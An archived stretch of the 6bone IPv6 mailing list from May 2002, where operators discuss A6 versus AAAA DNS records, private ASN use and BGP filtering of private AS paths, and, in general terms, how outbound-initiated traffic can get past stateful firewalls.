appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From michael@kjorling.com Tue May 21 07:01:19 2002
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On May 21 2002 06:27 -0700, Bill Manning wrote:

> I use both A6 and AAAA on most nodes.  Some only have A6 records.
> Some of those are chained. You can even find a DNAME or two...
> So I guess that, according to some, I'm in "Hell".   :)
>
> --bill

Well, if you want to scan an IPv6 /32... :-)

I personally use only AAAAs. Can't say I have devoted to IPv6-only but
I do get an occasional hit over IPv6 on my servers. The reason for
this is that I am unsure if one of the slave DNS servers can handle A6
records, let alone chains.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From sdegler@degler.net Tue May 21 07:09:55 2002
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Date: Tue, 21 May 2002 10:08:32 -0400
From: Stephen Degler <sdegler@degler.net>
To: "Michael W. Oliver" <oliver.michael@gargantuan.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] AAAA and A6 recent status?
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In-Reply-To: <DDEE26360FDB9D4E979900626D167AEB7304@MAGNETO.gargantuan.com>; from oliver.michael@gargantuan.com on Tue, May 21, 2002 at 09:04:01AM -0400
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Hi,

If you are running DNS via bind 9.2 or newer you can instruct bind
to convert the A6's to AAAA's on the fly "options allow-v6-synthesis".

On the other hand. If you aren't specifically testing or using features
available with A6 and DNAME (renumbering and the new style reverse mappings) 
Its unlikely that you have any clients that will make use of them.

skd

On Tue, May 21, 2002 at 09:04:01AM -0400, Michael W. Oliver wrote:
> Folks,
> 
> Is there any negative effect of using both A6 and AAAA records?  Most of
> the hosts on my small network are dual-stack, and I have configured BIND
> with A6, AAAA, and A records for each of them.  Is this bad practice in
> anyone's opinion?
> 
> Thanks in advance for your insight.
> 
> Regards,
> 
> Michael Oliver
> 
> 
> 
> 
> -----Original Message-----
> From: Xavier Roche [mailto:rocheml@httrack.com] 
> Sent: Tuesday, May 21, 2002 1:38 AM
> To: 6bone@ISI.EDU
> Subject: Re: [6bone] AAAA and A6 recent status? 
> 
> 
> 
> >>That's just a draft RFC, someone's opinion, currently not accepted
> >>by anything.   It doesn't even have working group consensus, let alone
> IETF.
> >>(Which isn't to say that A6 has WG consensus either, of course).
> 
> Any chance for this document to become more 'official' (with big quotes)
> ? AAAA/A6 confusion is really a nuisance, and is slowing down a little
> more many v6 migrations
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

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Date: Tue, 21 May 2002 09:15:07 -0500
From: "Todd T. Fries" <todd@fries.net>
To: "Michael W. Oliver" <oliver.michael@gargantuan.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] AAAA and A6 recent status?
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Just beware that anything but recent dns servers cannot secondary domains
that use A6 or DNAME records.

Personally, I've used m4 to generate my dns zone for fries.net, and have
two 'versions'... one with and one without DNAME's and A6's .. I've not used
the A6/DNAME version in a while, I just hope future bind's try to lookup
AAAA by default instead of A6 (you can do 'host -n 3ffe:..' but that is not
default behavior) .. I do not believe any of my secondaries outside my
local network can transfer zones containing A6/DNAME records, so I can
setup two views, one for older slave servers, and one for 'the rest of the
world' .. not that I am right now, but I certainly could if need be.

Just thought I'd share my headaches with regards to A6 ..
-- 
Todd Fries .. todd@fries.net

(last updated $ToddFries: signature.p,v 1.2 2002/03/19 15:10:18 todd Exp $)

Penned by Michael W. Oliver on Tue, May 21, 2002 at 09:04:01AM -0400, we have:
| Folks,
| 
| Is there any negative effect of using both A6 and AAAA records?  Most of
| the hosts on my small network are dual-stack, and I have configured BIND
| with A6, AAAA, and A records for each of them.  Is this bad practice in
| anyone's opinion?
| 
| Thanks in advance for your insight.
| 
| Regards,
| 
| Michael Oliver
| 
| 
| 
| 
| -----Original Message-----
| From: Xavier Roche [mailto:rocheml@httrack.com] 
| Sent: Tuesday, May 21, 2002 1:38 AM
| To: 6bone@ISI.EDU
| Subject: Re: [6bone] AAAA and A6 recent status? 
| 
| 
| 
| >>That's just a draft RFC, someone's opinion, currently not accepted
| >>by anything.   It doesn't even have working group consensus, let alone
| IETF.
| >>(Which isn't to say that A6 has WG consensus either, of course).
| 
| Any chance for this document to become more 'official' (with big quotes)
| ? AAAA/A6 confusion is really a nuisance, and is slowing down a little
| more many v6 migrations
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From michel@arneill-py.sacramento.ca.us Tue May 21 07:31:56 2002
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Subject: RE: [6bone] Re: Internal Address Space
Date: Tue, 21 May 2002 07:31:48 -0700
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> Stephen Degler wrote:
> Given the immediate future will continue to be Windows Impaired
> as well, its completely possible (and unfortunately, necessary)
> to establish a "soft chewy center" model with routeable addresses
> on the inside. Stateful firewalls are your friend.

Stateful firewalls are not good as they used to be. There are various
mechanisms that allow to bypass them these days and it's not getting
better. I would not be surprised to see an IE plugin to circumvent
firewalls soon. The best way to secure a host is to use a link-local or
site-local only address and go to a proxy (yuck).

Michel.


From michel@arneill-py.sacramento.ca.us Tue May 21 07:44:48 2002
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Subject: RE: [6bone] 6Bone registry entries when multihomed?
Date: Tue, 21 May 2002 07:44:41 -0700
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>,
   "Pim van Pelt" <pim@ipng.nl>
Cc: "Jim Martin" <jim@daedelus.com>, <6bone@ISI.EDU>
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> Pim van Pelt wrote.
> because he  blatantly refuses to remove his AS65526 number from
> the  registries and to be even worse, he uses this on the 6bone,
> because he cannot get his hands on a real ASN (because he
> does not have a LIR relationship with a RIR).

There is nothing wrong in using a private ASN on the 6bone. pTLAs accept
it, and it is not a long-term solution but allows people to get started.
This is exactly what the 6bone is for: experiments and staging.

Michel.


From sdegler@degler.net Tue May 21 07:50:44 2002
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Date: Tue, 21 May 2002 10:50:36 -0400
From: Stephen Degler <sdegler@degler.net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
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Hi,

Please be more specific.  I believe that there are flaws in
the implementations of statefull firewalls as there all in all things,
but it is my impression that they are relatively secure from the design
perspective.

How exactly would this IE plugin work?

skd

On Tue, May 21, 2002 at 07:31:48AM -0700, Michel Py wrote:
> > Stephen Degler wrote:
> > Given the immediate future will continue to be Windows Impaired
> > as well, its completely possible (and unfortunately, necessary)
> > to establish a "soft chewy center" model with routeable addresses
> > on the inside. Stateful firewalls are your friend.
> 
> Stateful firewalls are not good as they used to be. There are various
> mechanisms that allow to bypass them these days and it's not getting
> better. I would not be surprised to see an IE plugin to circumvent
> firewalls soon. The best way to secure a host is to use a link-local or
> site-local only address and go to a proxy (yuck).
> 
> Michel.

From michel@arneill-py.sacramento.ca.us Tue May 21 08:05:39 2002
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Stephen,

> Stephen Degler wrote:
> Please be more specific.  I believe that there are flaws in the
> implementations of statefull firewalls as there all in all things,
> but it is my impression that they are relatively secure from the
> design perspective.
> How exactly would this IE plugin work?

By initiating the traffic from the inside at both hosts, which opens a
temporary hole in the firewall to allow return traffic. A good example
of that kind of trick is Morpheus: People can pull mp3s from your RFC
1918 host crossing NAT and crossing a stateful firewall _without_ having
to punch a hole in the firewall and without static NAT configuration. I
think that teredo also allows to do the same. All these mechanisms are
based in contacting an agent outside; if that agent is listening on port
80 there is not much you can do to prevent your host talking to it.

Michel.


From itojun@itojun.org Tue May 21 08:09:08 2002
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In-reply-to: michel's message of Tue, 21 May 2002 07:44:41 MST.
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From: itojun@iijlab.net
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>There is nothing wrong in using a private ASN on the 6bone. pTLAs accept
>it, and it is not a long-term solution but allows people to get started.
>This is exactly what the 6bone is for: experiments and staging.

	why would you advertise private ASN onto the 6bone whois?  they should
	be used locally within certain pTLAs, not globally.
	also do not forget that 6bone is interconnected with worldwide IPv6
	network (including commercially-operated network), and there's no
	well-defined boundary.  therefore, my recommendation is:
	- to remove/forbid private ASN from 6bone whois.
	- do not advertise private ASNs beyond pTLA/sTLA boundary

itojun

From todd@shadow.fries.net Tue May 21 08:11:34 2002
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Date: Tue, 21 May 2002 10:05:26 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Michael Kjorling <michael@kjorling.com>
Cc: 6bone <6bone@ISI.EDU>
Subject: Re: [6bone] AAAA and A6 recent status?
Message-ID: <20020521150526.GD32690@fries.net>
Reply-To: todd@fries.net
References: <DDEE26360FDB9D4E979900626D167AEB7304@MAGNETO.gargantuan.com> <Pine.LNX.4.44.0205211544560.9161-100000@varg.wolfpack>
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A6 and/or DNAME both cause 'unknown record type' style errors with bind4,
and older bind8 (newer bind8 can deal with A6 and/or DNAME) ..

The problem stems from the fact that prior to current bind8/bind9 .. there
was hardcoded a list of valid RR types in the dns servers.  A6 and DNAME both
add a new 'type' that is unknown, therefore invalid to older dns servers.
-- 
Todd Fries .. todd@fries.net

(last updated $ToddFries: signature.p,v 1.2 2002/03/19 15:10:18 todd Exp $)

Penned by Michael Kjorling on Tue, May 21, 2002 at 03:46:10PM +0200, we have:
| -----BEGIN PGP SIGNED MESSAGE-----
| Hash: SHA1
| 
| On May 21 2002 09:04 -0400, Michael W. Oliver wrote:
| 
| > Folks,
| >
| > Is there any negative effect of using both A6 and AAAA records?  Most of
| > the hosts on my small network are dual-stack, and I have configured BIND
| > with A6, AAAA, and A records for each of them.  Is this bad practice in
| > anyone's opinion?
| >
| > Thanks in advance for your insight.
| >
| > Regards,
| >
| > Michael Oliver
| 
| All your slave servers have to at least be able to serve A6 RRs.
| 
| Actually I think the real problem is not the A6 forward records (they
| can be dealt with) but bitlabels. Just as the I-D points out, queries
| containing bitlabels can quite easily be rejected as malformed. Not a
| good thing.
| 
| 
| Michael Kjörling
| 
| - -- 
| Michael Kjörling  --  Programmer/Network administrator  ^..^
| Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
| PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e
| 
| ``And indeed people sometimes speak of man's "bestial" cruelty, but
| this is very unfair and insulting to the beasts: a beast can never be
| so cruel as a man, so ingeniously, so artistically cruel.''
| (Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
| -----BEGIN PGP SIGNATURE-----
| Version: GnuPG v1.0.7 (GNU/Linux)
| Comment: Public key is at http://michael.kjorling.com/contact/pgp.html
| 
| iD8DBQE86k+nKqN7/Ypw4z4RAqSbAKDkMY+XCJuJCh8IjwqXDwUH1JEpMwCgyXyI
| gjtK5BWzHK+4zszBUAm+byw=
| =hh7X
| -----END PGP SIGNATURE-----
| 
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From michel@arneill-py.sacramento.ca.us Tue May 21 08:17:45 2002
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> Itojun wrote:
> they should be used locally within certain pTLAs, not globally.
> also do not forget that 6bone is interconnected with worldwide
> IPv6 network (including commercially-operated network), and
> there's no well-defined boundary.  therefore, my recommendation
> is:
> - do not advertise private ASNs beyond pTLA/sTLA boundary

I completely agree with the above.


> why would you advertise private ASN onto the 6bone whois?
> - to remove/forbid private ASN from 6bone whois.

Why not having accurate information in the 6bone database? We are not
talking about a xTLA peering with a private ASN, but about a site
peering with a xTLA that can use remove-private-as.

Michel.


From randy@psg.com Tue May 21 08:26:39 2002
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a6, dname, and bitstring labels are dog meat.  folk should spend
their time on useful work.

randy

From sdegler@degler.net Tue May 21 08:37:58 2002
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Date: Tue, 21 May 2002 11:37:39 -0400
From: Stephen Degler <sdegler@degler.net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: Stephen Degler <sdegler@degler.net>, 6 Bone <6bone@ISI.EDU>
Subject: Re: [6bone] Re: Internal Address Space
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Ok, 

Private addresses and a proxy won't help you against these methods 
either, as long as http connect methods are permitted by the proxies.
Like you said, The p-to-p world utilizes these techniques already.

So a statefull firewall is still protects against external attacks.
If one can convince software or a user to execute malicious code,
all bets are off.  Being addressable doesn't alter the status quo.

skd

On Tue, May 21, 2002 at 08:05:33AM -0700, Michel Py wrote:
> Stephen,
> 
> > Stephen Degler wrote:
> > Please be more specific.  I believe that there are flaws in the
> > implementations of statefull firewalls as there all in all things,
> > but it is my impression that they are relatively secure from the
> > design perspective.
> > How exactly would this IE plugin work?
> 
> By initiating the traffic from the inside at both hosts, which opens a
> temporary hole in the firewall to allow return traffic. A good example
> of that kind of trick is Morpheus: People can pull mp3s from your RFC
> 1918 host crossing NAT and crossing a stateful firewall _without_ having
> to punch a hole in the firewall and without static NAT configuration. I
> think that teredo also allows to do the same. All these mechanisms are
> based in contacting an agent outside; if that agent is listening on port
> 80 there is not much you can do to prevent your host talking to it.
> 
> Michel.

From jeroen@unfix.org Tue May 21 08:56:43 2002
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Michel Py wrote:

<SNIP>
> By initiating the traffic from the inside at both hosts, which opens a
> temporary hole in the firewall to allow return traffic. A good example
> of that kind of trick is Morpheus: People can pull mp3s from your RFC
> 1918 host crossing NAT and crossing a stateful firewall  _without_
having
> to punch a hole in the firewall and without static NAT configuration.
I
> think that teredo also allows to do the same. All these mechanisms are
> based in contacting an agent outside; if that agent is listening on
port
> 80 there is not much you can do to prevent your host talking to it.

As long as one has a bit of clue and has "data" going from the inside to
the outside you can do anything you want.
Unless you got a team of sniffing admins who destroy anything that even
looks suspicious.
Just think: IP over Email, IP over HTTP etc. If you want to have a
secure network you'll need
to fully trust your local users and ofcourse the software they use.
Effectively that's a nogo everywhere you go.

Greets,
 Jeroen

BTW: Just in case someone claimes "But I can check all my OpenSource
software for backdoors":
Start reading _and_ understanding for instance the linux kernel,
Mozilla, KDE, etc... and we'll hear
back from you in a couple of years. It's all about trust, but do you
trust your glass of milk ? :)


From michael@kjorling.com Tue May 21 08:59:03 2002
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On May 21 2002 08:26 -0700, Randy Bush wrote:

> a6, dname, and bitstring labels are dog meat.  folk should spend
> their time on useful work.
>
> randy

And if you pardon my question, what do you consider to be "useful
work"? I believe that working toward an actual standard with regards
to IPv6 forward and reverse mapping is a good thing, instead of having
the current situation with two different standards and ad-hoc
solutions to "interconnect" them.

Both the AAAA and A6 record types have advantages as well as
disadvantages. Unfortunately I don't think there is any simple
solution, especially not to combine AAAA's speed with the ease of
renumbering brought forth by A6. If I had a good idea I would have
submitted an I-D long ago.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From michel@arneill-py.sacramento.ca.us Tue May 21 09:09:43 2002
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> Stephen Degler wrote:
> Private addresses and a proxy won't help you against these methods
> either, as long as http connect methods are permitted by the proxies.

Correct, but they do make the hacker's task a little more difficult as
the malicious code has to figure out the proxy settings and encapsulate
its own stuff into http requests.

Security is not a single thing, and the more obstacles you put in the
hacker's way the more secure you are. A good setup is a combination of
multiple methods including but not limited to stateful firewalls. I have
seen generic mechanisms to bypass stateful firewalls, I have not seen
any to go trough proxies yet.

Michel.


From bmanning@ISI.EDU Tue May 21 09:17:06 2002
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Subject: Re: [6bone] AAAA and A6 recent status?
In-Reply-To: <E17ABWz-000K6M-00@rip.psg.com> from Randy Bush at "May 21, 2 08:26:33 am"
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% a6, dname, and bitstring labels are dog meat.  folk should spend
% their time on useful work.
% 
% randy
% _______________________________________________

	...dog meat?  perhaps insofar as "the dog ate my homework".

	they are products of the IETF and, as far as I can tell,
	are still floating around the IESG pool as RFCs.  If you feel so 
	strongly about excising them, please use your considerable influence 
 	and postition in the IESG/IAB to move them to historic status
	and then remove support for them from the reference implementation.

	And even -IF- you are able to pull this off, your insinuation that
	a6,dname,bitstring work did not represent "useful work" is
	flawed on at least a couple of counts:

	) it is useful to know what does not work 
	) it is useful to know why things don't work


--bill

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Can somebody help me to unsubscribe from 6bone? I am trying various
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> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu] On Behalf Of itojun@iijlab.net
> Sent: Tuesday, May 21, 2002 5:09 PM
> To: Michel Py
> Cc: 6bone@ISI.EDU
> Subject: Re: [6bone] 6Bone registry entries when multihomed? 
> 
>
> 
> 	why would you advertise private ASN onto the 6bone 
> whois?  they should
> 	be used locally within certain pTLAs, not globally.
> 	also do not forget that 6bone is interconnected with 
> worldwide IPv6
> 	network (including commercially-operated network), and 
> there's no
> 	well-defined boundary.  therefore, my recommendation is:
> 	- to remove/forbid private ASN from 6bone whois.
> 	- do not advertise private ASNs beyond pTLA/sTLA boundary

I'm not agree with you.

A ipv6-site who use a private ASN can peer with many pTLA/sTLA, only 1
AS is used for all peers like a real pTLA/sTLA with a public ASN.
I think, that it's can be a good idea to allow register private ASN
(autnum object) in 6bone whois database because a same AS can't be used
for 2 differents ipv6-site. If a private AS don't respect the routing
rules (announce a block in global 6bone routing table), it's more easy
to contact the person. When you have register your private ASN, it will
be reserved for you, any other don't must use your ASN.

In all case private ASN don't must be advertised in global 6bone routing
table.
Peering with private ASN must be considerate as private peering, all ISP
who peer with private ASN must don't reannounces routes of private ASN.

pTLA/sTLA -> private ASN = full or not transit
pTLA/sTLA <- private ASN = only routes of private ASN (not transit) with
community no-export (if pTLA/sTLA accept route with private ASN)

private ASN <-> private ASN = full or not transit

Production network don't advertise/receive all 6bone routes, but use
only 3ffe::/16 for can be interconnected to the 6bone (you can see this
in IPv6 BGP policy of a lof of  production ISP).

Why remove/forbid private ASN (ipv6-site ? because a aut-num can't be
registered at this time) from 6bone whois ? 6bone whois is a test whois
database.
mnt-lower don't work and you can register what all you want like the
RIPE test whois database.

I hope be clear.
Sorry if my english is not perfect, it's not my native language.

Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet-extml@ndsoftwaregroup.com Tue May 21 09:46:19 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>, <itojun@iijlab.net>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] 6Bone registry entries when multihomed? 
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> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu] On Behalf Of Michel Py
> Sent: Tuesday, May 21, 2002 5:18 PM
> To: itojun@iijlab.net
> Cc: 6bone@ISI.EDU
> Subject: RE: [6bone] 6Bone registry entries when multihomed? 
> 
> > why would you advertise private ASN onto the 6bone whois?
> > - to remove/forbid private ASN from 6bone whois.
> 
> Why not having accurate information in the 6bone database? We 
> are not talking about a xTLA peering with a private ASN, but 
> about a site peering with a xTLA that can use remove-private-as.
> 

Warning, remove-private-as don't drop route with private ASN but only
remove private ASN in AS path.

For filtering private ASN, use:

ip as-path access-list private-asn-in deny
_(6451[2-9]|645[2-9][0-9]|64[6-9][0-9][0-9]|65[0-4][0-9][0-9]|655[0-2][0
-9]|6553[0-5])_

Best Regards,

Nicolas DEFFAYET


From pim@ipng.nl Tue May 21 11:34:35 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: itojun@iijlab.net, 6bone@ISI.EDU, peering@v6bone.de
Subject: Re: [6bone] 6Bone registry entries when multihomed?
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On Tue, May 21, 2002 at 08:17:38AM -0700, Michel Py wrote:
| > Itojun wrote:
| > they should be used locally within certain pTLAs, not globally.
| > also do not forget that 6bone is interconnected with worldwide
| > IPv6 network (including commercially-operated network), and
| > there's no well-defined boundary.  therefore, my recommendation
| > is:
| > - do not advertise private ASNs beyond pTLA/sTLA boundary
| 
| I completely agree with the above.
| 
| > why would you advertise private ASN onto the 6bone whois?
| > - to remove/forbid private ASN from 6bone whois.
| 
| Why not having accurate information in the 6bone database? We are not
| talking about a xTLA peering with a private ASN, but about a site
| peering with a xTLA that can use remove-private-as.
Can, but doesn't, as has been visible in the global routing tables
for many months now.

I normally don't engage in personal flames, but this has been on my
chest for a looong time. I'm sure other members of the 6bone community
will agree with me, so here goes (my 2 cents worth of rant).

Deffayet claims 'RIPE wont give him an AS' but this is only logical
as he does not operate an autonomous system, nor is he a LIR, rather 
two or three cablemodems at residential sites.

He may (naturally) do what he pleases, however he has been asked by
numerous people not to have his AS show up all around the place, but
he simply blames his uplinks for not filtering them out.

My opinion is that he is using private-as numbers to gain global
visibility and not for any other purpose. I might as well filter off
those pTLAs that are not well behaving then, or shall I go to the
root of the problem ?

AS65526 is giving transit to others, which is completely ludicrous.
This shows up in the looking glass at AS8954:
   Network                       Path
   *  3ffe:82a0::/28             15589 12337 15671 65526 7521 i

Now apparently AS15671 is non-well behaved (therefor the CC to their
contact), and it is leaking this as-path into its peers. 

Looking at the prefixes that AS15671 announces regularly, Deffayet's
aren't amongst them. This leads me to believe that Deffayet is not
using a private AS number to establish a session with his uplinks (he
has three), but simply to circumvent the RIR policies which denied
him an AS number (for, I might add, obvious reasons!).

Now I ask again: can you please clean up the mess you are making ?

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From michel@arneill-py.sacramento.ca.us Tue May 21 11:56:16 2002
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Subject: RE: [6bone] 6Bone registry entries when multihomed? 
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> Nicolas DEFFAYET wrote:
> Warning, remove-private-as don't drop route with private ASN but
> only remove private ASN in AS path.

Correct, combined with aggregation this is what your ISP is supposed to
do. Filtering private ASNs should not be necessary if everyone
configured things the way they are supposed to, which is not the case.

BGP table version is 29198, local router ID is 209.233.126.65
Status codes: s suppressed, d damped, h history, * valid, > best, i -
internal
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*  3FFE:82A0::/28   3FFE:B00:C18::8C
                                       0 10566 12337 15671 65526 7521 i

The bottom line is that you should _not_ announce AS 7521 to AS 15671.
Also, AS 15671 should strip the private AS from the ASPATH.


Michel.

From michel@arneill-py.sacramento.ca.us Tue May 21 12:10:04 2002
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Subject: RE: [6bone] 6Bone registry entries when multihomed?
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Pim,

>> Michel Py wrote:
>> Why not having accurate information in the 6bone database? We are not
>> talking about a xTLA peering with a private ASN, but about a site
>> peering with a xTLA that can use remove-private-as.

> Pim van Pelt wrote:
> Can, but doesn't, as has been visible in the global routing
> tables for many months now.

This is the root of the problem, IMHO.


> He may (naturally) do what he pleases, however he has been asked
> by numerous people not to have his AS show up all around the place,
> but he simply blames his uplinks for not filtering them out.

Well, it is the role of an xTLA to make sure that whatever crap their
customers feed them is not seen in the global routing table. To some
extent, it's good that people do announce private ASNs, because it
points out filtering flaws.


> I might as well filter off those pTLAs that are not well
> behaving then

Have you contacted them? If someone forgot to put a filter, it's one
thing. If they do it on purpose, I would filter these non-behaving pTLAs
myself.

Michel.


From nicolas.deffayet-extml@ndsoftwaregroup.com Tue May 21 14:53:42 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Pim van Pelt'" <pim@ipng.nl>,
   "'Michel Py'" <michel@arneill-py.sacramento.ca.us>
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Subject: RE: [6bone] 6Bone registry entries when multihomed?
Date: Tue, 21 May 2002 23:53:18 +0200
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> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu] On Behalf Of Pim van Pelt
> Sent: Tuesday, May 21, 2002 8:35 PM
> To: Michel Py
> Cc: itojun@iijlab.net; 6bone@ISI.EDU; peering@v6bone.de
> Subject: Re: [6bone] 6Bone registry entries when multihomed?

I don't like reply to a troll, but i reply for many reasons.

> I normally don't engage in personal flames, but this has been 
> on my chest for a looong time. I'm sure other members of the 
> 6bone community will agree with me, so here goes (my 2 cents 
> worth of rant).
> 
> Deffayet claims 'RIPE wont give him an AS' but this is only 
> logical as he does not operate an autonomous system, nor is 
> he a LIR, rather 
> two or three cablemodems at residential sites.

First please respect me.
I'm not your dog, call me Nicolas or Nicolas DEFFAYET or Mr DEFFAYET,
not "DEFFAYET"

I don't claim this.

Have you read my mail ?
Be a LIR is plained for my project...

Have you create your network in one day ?

I don't use "cablemodems at residential sites".
It's the same if i tell that IPng.nl use 3 56k modems !

You are a troll expert :)

I don't like liar.


> AS65526 is giving transit to others, which is completely 
> ludicrous. This shows up in the looking glass at AS8954:
>    Network                       Path
>    *  3ffe:82a0::/28             15589 12337 15671 65526 7521 i
> 
> Now apparently AS15671 is non-well behaved (therefor the CC 
> to their contact), and it is leaking this as-path into its peers. 

All routes sent my me, are in ALL case with community no-export.
This is not possible (execept of ISP have bugy router who don't
understand community).

For information, community no-export = send routes to ibgp but NOT to
other eBGP.

I have shutdown the announcement of my routes to v6bone.

> 
> Looking at the prefixes that AS15671 announces regularly, 
> Deffayet's aren't amongst them. This leads me to believe that 
> Deffayet is not using a private AS number to establish a 
> session with his uplinks (he has three), but simply to 
> circumvent the RIR policies which denied him an AS number 
> (for, I might add, obvious reasons!).

I will get soon a public AS.
But for respect the RIPE allocation rule, i need 2 transit IPv4.

It's plained before for maximum the end of this year.

> 
> Now I ask again: can you please clean up the mess you are making ?

If you have problem with "my" private ASN: noc@ndsoftwarenet.com
But it's very very rare because all my routes are sent with community
no-export and i send all routes (transit) only to peer who request this
to me.

You can add filter if you want:

ip as-path access-list private-asn-in deny
_(6451[2-9]|645[2-9][0-9]|64[6-9][0-9][0-9]|65[0-4][0-9][0-9]|655[0-2][0
-9]|6553[0-5])_
ip as-path access-list private-asn-in permit .*


Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet-extml@ndsoftwaregroup.com Tue May 21 14:56:46 2002
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To: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>
Cc: <6bone@ISI.EDU>, <jens.gottbehuet@completel.de>, <randy@ipcenta.de>
Subject: RE: [6bone] 6Bone registry entries when multihomed? 
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> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu] On Behalf Of Michel Py
> Sent: Tuesday, May 21, 2002 8:56 PM
> To: Nicolas DEFFAYET
> Cc: 6bone@ISI.EDU; jens.gottbehuet@completel.de; randy@ipcenta.de
> Subject: RE: [6bone] 6Bone registry entries when multihomed? 
> 
> 
> > Nicolas DEFFAYET wrote:
> > Warning, remove-private-as don't drop route with private 
> ASN but only 
> > remove private ASN in AS path.
> 
> Correct, combined with aggregation this is what your ISP is 
> supposed to do. Filtering private ASNs should not be 
> necessary if everyone configured things the way they are 
> supposed to, which is not the case.
> 
> BGP table version is 29198, local router ID is 209.233.126.65 
> Status codes: s suppressed, d damped, h history, * valid, > 
> best, i - internal Origin codes: i - IGP, e - EGP, ? - incomplete
> 
>    Network          Next Hop            Metric LocPrf Weight Path
> *  3FFE:82A0::/28   3FFE:B00:C18::8C
>                                        0 10566 12337 15671 
> 65526 7521 i
> 
> The bottom line is that you should _not_ announce AS 7521 to 
> AS 15671. Also, AS 15671 should strip the private AS from the ASPATH.

I think that completel's router don't understand community (read my
reply to Pim for more information about that).

Now, i don't send any routes to completel, i accept it only (a BGP
view).

Best Regards,

Nicolas DEFFAYET


From daniel@kewlio.net Tue May 21 15:12:42 2002
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Reply-To: "Daniel Austin" <daniel@kewlio.net>
From: "Daniel Austin" <daniel@kewlio.net>
To: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
Cc: "'Pim van Pelt'" <pim@ipng.nl>,
   "'Michel Py'" <michel@arneill-py.sacramento.ca.us>, <itojun@iijlab.net>,
   <6bone@ISI.EDU>, <peering@v6bone.de>
References: <20020521230300.U93116-100000@ambient.kewlio.net>
Subject: Re: [6bone] 6Bone registry entries when multihomed?
Date: Tue, 21 May 2002 23:12:28 +0100
Organization: Kewlio.net Limited
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And again from the correct address :-)

----- Original Message -----
From: "Daniel Austin (fxp0)" <fxp0@fxp0.co.uk>
To: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
Cc: "'Pim van Pelt'" <pim@ipng.nl>; "'Michel Py'"
<michel@arneill-py.sacramento.ca.us>; <itojun@iijlab.net>; <6bone@ISI.EDU>;
<peering@v6bone.de>
Sent: Tuesday, May 21, 2002 11:05 PM
Subject: RE: [6bone] 6Bone registry entries when multihomed?


> Hiya,
>
> Nicolas peers with us, and his ASN is not exported to our upstream
> providers.  IPv6 is a new technology and people are going to use it
> differently to IPv4 so why should be restrict them to the current ipv4
> requirements?
>
> If they want to use private ASN's then thats not a problem.  If everyone
> applies the correct filters everything is fine.
>
>
> With Thanks,
>
> Daniel Austin,
> kewlio.net Limited.
>
>
> On Tue, 21 May 2002, Nicolas DEFFAYET wrote:
>
> > > -----Original Message-----
> > > From: 6bone-admin@mailman.isi.edu
> > > [mailto:6bone-admin@mailman.isi.edu] On Behalf Of Pim van Pelt
> > > Sent: Tuesday, May 21, 2002 8:35 PM
> > > To: Michel Py
